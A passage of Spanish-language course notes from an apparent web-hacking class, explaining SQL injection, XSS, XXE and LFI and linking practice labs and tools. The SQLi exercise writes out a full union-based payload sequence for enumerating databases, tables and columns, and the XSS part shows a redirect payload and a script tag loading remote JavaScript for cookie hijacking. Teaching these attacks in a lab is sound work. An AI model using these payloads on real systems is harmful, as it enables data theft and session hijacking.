README1.md

Índice de subtermas:

6.1 SQL Injection (SQLi)

SQL Injection (SQLI) es una técnica de ataque utilizada para explotar vulnerabilidades en aplicaciones web que no validan adecuadamente la entrada del usuario en la consulta SQL que se envía a la base de datos. Los atacantes pueden utilizar esta técnica para ejecutar consultas SQL maliciosas y obtener información confidencial, como nombres de usuario, contraseñas y otra información almacenada en la base de datos.

Las inyecciones SQL se producen cuando los atacantes insertan código SQL malicioso en los campos de entrada de una aplicación web. Si la aplicación no valida adecuadamente la entrada del usuario, la consulta SQL maliciosa se ejecutará en la base de datos, lo que permitirá al atacante obtener información confidencial o incluso controlar la base de datos.

Hay varios tipos de inyecciones SQL, incluyendo:

- Inyección SQL basada en errores: Este tipo de inyección SQL aprovecha errores en el código SQL para obtener información. Por ejemplo, si una consulta devuelve un error con un mensaje específico, se puede utilizar ese mensaje para obtener información adicional del sistema.
- Inyección SQL basada en tiempo: Este tipo de inyección SQL utiliza una consulta que tarda mucho tiempo en ejecutarse para obtener información. Por ejemplo, si se utiliza una consulta que realiza una búsqueda en una tabla y se añade un retardo en la consulta, se puede utilizar ese retardo para obtener información adicional
- Inyección SQL basada en booleanos: Este tipo de inyección SQL utiliza consultas con expresiones booleanas para obtener información adicional. Por ejemplo, se puede utilizar una consulta con una expresión booleana para determinar si un usuario existe en una base de datos.
- Inyección SQL basada en uniones: Este tipo de inyección SQL utiliza la cláusula “UNION” para combinar dos o más consultas en una sola. Por ejemplo, si se utiliza una consulta que devuelve información sobre los usuarios y se agrega una cláusula “UNION” con otra consulta que devuelve información sobre los permisos, se puede obtener información adicional sobre los permisos de los usuarios.
- Inyección SQL basada en stacked queries: Este tipo de inyección SQL aprovecha la posibilidad de ejecutar múltiples consultas en una sola sentencia para obtener información adicional. Por ejemplo, se puede utilizar una consulta que inserta un registro en una tabla y luego agregar una consulta adicional que devuelve información sobre la tabla.

Cabe destacar que, además de las técnicas citadas anteriormente, existen muchos otros tipos de inyecciones SQL. Sin embargo, estas son algunas de las más populares y comúnmente utilizadas por los

atacantes en páginas web vulnerables.

Asimismo, es necesario hacer una breve distinción de los diferentes tipos de bases de datos existentes:

- Bases de datos relacionales: Las inyecciones SQL son más comunes en bases de datos relacionales como MySQL, SQL Server, Oracle, PostgreSQL, entre otros. En estas bases de datos, se utilizan consultas SQL para acceder a los datos y realizar operaciones en la base de datos.
- Bases de datos NoSQL: Aunque las inyecciones SQL son menos comunes en bases de datos NoSQL, todavía es posible realizar este tipo de ataque. Las bases de datos NoSQL, como MongoDB o Cassandra, no utilizan el lenguaje SQL, sino un modelo de datos diferente. Sin embargo, es posible realizar inyecciones de comandos en las consultas que se realizan en estas bases de datos. Esto lo veremos unas clases más adelante.
- Bases de datos de grafos: Las bases de datos de grafos, como Neo4j, también pueden ser vulnerables a inyecciones SQL. En estas bases de datos, se utilizan consultas para acceder a los nodos y relaciones que se han almacenado en la base de datos.
- Bases de datos de objetos: Las bases de datos de objetos, como db4o, también pueden ser vulnerables a inyecciones SQL. En estas bases de datos, se utilizan consultas para acceder a los objetos que se han almacenado en la base de datos.

Es importante entender los diferentes tipos de inyecciones SQL y cómo pueden utilizar se para obtener información confidencial y controlar una base de datos. Los desarrolladores deben asegurarse de validar adecuadamente la entrada del usuario y de utilizar técnicas de defensa, como la sanitización de entrada y la preparación de consultas SQL, para prevenir las inyecciones SQL en sus aplicaciones web.

A continuación, se proporciona el enlace a la utilidad online de 'ExtendsClass' que utilizamos en esta clase:

- ExtendsClass MySQL Online: https://extendsclass.com/mysql-online.html

6.1.1 Ejercicio

- Levantar apache y mysql
- Crear una base de datos con una tabla
- Crearemos el fichero searchUser.php y lo dejaremos en el directorio /var/www/html
- Con la url `http://localhost/searchUsers.php?id=1` deberíamos obtener el username del id 1.
- Tendremos que probar el número de id con order, cuando no de error sabremos el número de columnas que tiene la tabla: `http://localhost/searchUsers.php?id=1' order by 100-- -`
- Con `http://localhost/searchUsers.php?id=1' union select "test"-- -` añade el testo "test" a la columna, pero tiene que haber el número de valores del número de columna. Si cambiamos el id por uno que no exista veremos que se muestra en pantalla.
- Con `http://localhost/searchUsers.php?id=11212' union select database()-- -` veremos el nombre de la BBDD.
- Con `http://localhost/searchUsers.php?id=11212' union select schema_name from information_schema.schemata-- -` veremos la primera base de datos. Ya con limits podremos ver las siguientes:
    1. `http://localhost/searchUsers.php?id=11212' union select schema_name from information_schema.schemata limit 0,1-- -`
    2. `http://localhost/searchUsers.php?id=11212' union select schema_name from information_schema.schemata limit 1,1-- -`

- Con `http://localhost/searchUsers.php?id=165541%27%20union%20select%20group_concat(schema_name)%20from%20information_schema.schemata--%20-` veremos todas las BBDD.
- Con `http://localhost/searchUsers.php?id=11212' union select group_concat(table_name) from information_schema.tables where table_schema='nombreBBDD'-- -` veremos las tablas de la BBDD.
- Con `http://localhost/searchUsers.php?id=11212' union select group_concat(column_name) from information_schema.columns where table_schema='nombreBBDD' and table_name='nombreTabla'-- -` veremos las columnas de la tabla.
- Con lo cual, `http://localhost/searchUsers.php?id=11212' union select group_concat(NombreColumna) from nombreBBDD.nombreTabla-- -` veremos el contenido de la columna. ¡Se tensa!

Preparamos el fichero php searchUsers.php para hacer unas pruebas con Python para cuando no tengamos el output en pantalla.

- Comprobamos uno a uno el hexadecimal: sqli.py
- Comprobamos si el contenido es igual que tarde más tiempo: sqli_time.py

6.2 CrossSite Scripting (XSS)

Una vulnerabilidad XSS (Cross-Site Scripting) es un tipo de vulnerabilidad de seguridad informática que permite a un atacante ejecutar código malicioso en la página web de un usuario sin su conocimiento o consentimiento. Esta vulnerabilidad permite al atacante robar información personal, como nombres de usuario, contraseñas y otros datos confidenciales.

En esencia, un ataque XSS implica la inserción de código malicioso en una página web vulnerable, que luego se ejecuta en el navegador del usuario que accede a dicha página. El código malicioso puede ser cualquier cosa, desde scripts que redirigen al usuario a otra página, hasta secuencias de comandos que registran pulsaciones de teclas o datos de formularios y los envían a un servidor remoto.

Existen varios tipos de vulnerabilidades XSS, incluyendo las siguientes:

- Reflejado (Reflected): Este tipo de XSS se produce cuando los datos proporcionados por el usuario se reflejan en la respuesta HTTP sin ser verificados adecuadamente. Esto permite a un atacante inyectar código malicioso en la respuesta, que luego se ejecuta en el navegador del usuario.
- Almacenado (Stored): Este tipo de XSS se produce cuando un atacante es capaz de almacenar código malicioso en una base de datos o en el servidor web que aloja una página web vulnerable. Este código se ejecuta cada vez que se carga la página.
- DOM-Based: Este tipo de XSS se produce cuando el código malicioso se ejecuta en el navegador del usuario a través del DOM (Modelo de Objetos del Documento). Esto se produce cuando el código JavaScript en una página web modifica el DOM en una forma que es vulnerable a la inyección de código malicioso.

Los ataques XSS pueden tener graves consecuencias para las empresas y los usuarios individuales. Por esta razón, es esencial que los desarrolladores web implementen medidas de seguridad adecuadas para prevenir vulnerabilidades XSS. Estas medidas pueden incluir la validación de datos de entrada, la

eliminación de código HTML peligroso, y la limitación de los permisos de JavaScript en el navegador del usuario.

A continuación, se proporciona el proyecto de Github correspondiente al laboratorio que nos estaremos montando para poner en práctica la vulnerabilidad XSS:

- secDevLabs: https://github.com/globocom/secDevLabs
- Ejemplo de ataque XSS: email.js
- Ejemplo de phising: email_pass.js

Todo se debe tener un puerto web en escucha:

```
python3 -m HTTP.server 80
```

- Ejemplo de keylogger: keylogger.js

En este caso levantaremos un servidor con el script server_keylogger.py para tener más limpia la salida.

- Podemos redirigir a una página web:

```
<script>
window.location.href = "https://vergaracarmona.es";
</script>
```

- Podemos realizar un hijacking cookie con el script hijacking_cookie.js

```
<script src="https://192.168.2.105/test.js"></script>
```

Vulnhub es una plataforma de seguridad informática que se centra en la creación y distribución de máquinas virtuales vulnerables con el fin de mejorar las habilidades de los profesionales de la seguridad informática. La plataforma proporciona una amplia variedad de máquinas virtuales (VM) que se han configurado para contener vulnerabilidades deliberadas que pueden ser explotadas para aprender y reforzar técnicas de hacking.

A continuación, se proporciona el enlace a la máquina que nos descargamos en esta clase para practicar esta vulnerabilidad:

- Máquina MyExpense: https://www.vulnhub.com/entry/myexpense-1,405/

6.3 XML External Entity Injection (XXE)

Cuando hablamos de XML External Entity (XXE) Injection, a lo que nos referimos es a una vulnerabilidad de seguridad en la que un atacante puede utilizar una entrada XML maliciosa para acceder a recursos del sistema que normalmente no estarían disponibles, como archivos locales o servicios de red. Esta

vulnerabilidad puede ser explotada en aplicaciones que utilizan XML para procesar entradas, como aplicaciones web o servicios web.

Un ataque XXE generalmente implica la inyección de una entidad XML maliciosa en una solicitud HTTP, que es procesada por el servidor y puede resultar en la exposición de información sensible. Por ejemplo, un atacante podría inyectar una entidad XML que hace referencia a un archivo en el sistema del servidor y obtener información confidencial de ese archivo.

Un caso común en el que los atacantes pueden explotar XXE es cuando el servidor web no valida adecuadamente la entrada de datos XML que recibe. En este caso, un atacante puede inyectar una entidad XML maliciosa que contiene referencias a archivos del sistema que el servidor tiene acceso. Esto puede permitir que el atacante obtenga información sensible del sistema, como contraseñas, nombres de usuario, claves de API, entre otros datos confidenciales.

Cabe destacar que, en ocasiones, los ataques XML External Entity (XXE) Injection no siempre resultan en la exposición directa de información sensible en la respuesta del servidor. En algunos casos, el atacante debe “ir a ciegas” para obtener información confidencial a través de técnicas adicionales.

Una forma común de “ir a ciegas” en un ataque XXE es enviar peticiones especialmente diseñadas desde el servidor para conectarse a un Document Type Definition (DTD) definido externamente. El DTD se utiliza para validar la estructura de un archivo XML y puede contener referencias a recursos externos, como archivos en el sistema del servidor.

Este enfoque de “ir a ciegas” en un ataque XXE puede ser más lento y requiere más trabajo que una explotación directa de la vulnerabilidad. Sin embargo, puede ser efectivo en casos donde el atacante tiene una idea general de los recursos disponibles en el sistema y desea obtener información específica sin ser detectado.

Adicionalmente, en algunos casos, un ataque XXE puede ser utilizado como un vector de ataque para explotar una vulnerabilidad de tipo SSRF (Server-Side Request Forgery). Esta técnica de ataque puede permitir a un atacante escanear puertos internos en una máquina que, normalmente, están protegidos por un firewall externo.

Un ataque SSRF implica enviar solicitudes HTTP desde el servidor hacia direcciones IP o puertos internos de la red de la víctima. El ataque XXE se puede utilizar para desencadenar un SSRF al inyectar una entidad XML maliciosa que contiene una referencia a una dirección IP o puerto interno en la red del servidor.

Al explotar con éxito un SSRF, el atacante puede enviar solicitudes HTTP a servicios internos que de otra manera no estarían disponibles para la red externa. Esto puede permitir al atacante obtener información sensible o incluso tomar el control de los servicios internos.

A continuación, se proporciona el enlace al proyecto de Github correspondiente al laboratorio que estaremos desplegando en esta clase para practicar esta vulnerabilidad:

- XXELab: https://github.com/jbarone/xxelab

6.4 Local File Inclusion (LFI)

La vulnerabilidad Local File Inclusion (LFI) es una vulnerabilidad de seguridad informática que se produce cuando una aplicación web no valida adecuadamente las entradas de usuario, permitiendo a un atacante

acceder a archivos locales en el servidor web.

En muchos casos, los atacantes aprovechan la vulnerabilidad de LFI al abusar de parámetros de entrada en la aplicación web. Los parámetros de entrada son datos que los usuarios ingresan en la aplicación web, como las URL o los campos de formulario. Los atacantes pueden manipular los parámetros de entrada para incluir rutas de archivo local en la solicitud, lo que puede permitirles acceder a archivos en el servidor web. Esta técnica se conoce como “Path Traversal” y se utiliza comúnmente en ataques de LFI.

En el ataque de Path Traversal, el atacante utiliza caracteres especiales y caracteres de escape en los parámetros de entrada para navegar a través de los directorios del servidor web y acceder a archivos en ubicaciones sensibles del sistema.

Por ejemplo, el atacante podría incluir “../” en el parámetro de entrada para navegar hacia arriba en la estructura del directorio y acceder a archivos en ubicaciones sensibles del sistema.

Para prevenir los ataques LFI, es importante que los desarrolladores de aplicaciones web validen y filtren adecuadamente la entrada del usuario, limitando el acceso a los recursos del sistema y asegurándose de que los archivos sólo se puedan incluir desde ubicaciones permitidas. Además, las empresas deben implementar medidas de seguridad adecuadas, como el cifrado de archivos y la limitación del acceso de usuarios no autorizados a los recursos del sistema.

A continuación, se os proporciona el enlace directo a la herramienta que utilizamos al final de esta clase para abusar de los ‘Filter Chains’ y conseguir así ejecución remota de comandos:

- PHP Filter Chain Generator: https://github.com/synacktiv/php_filter_chain_generator

README.md principal <--> README2.md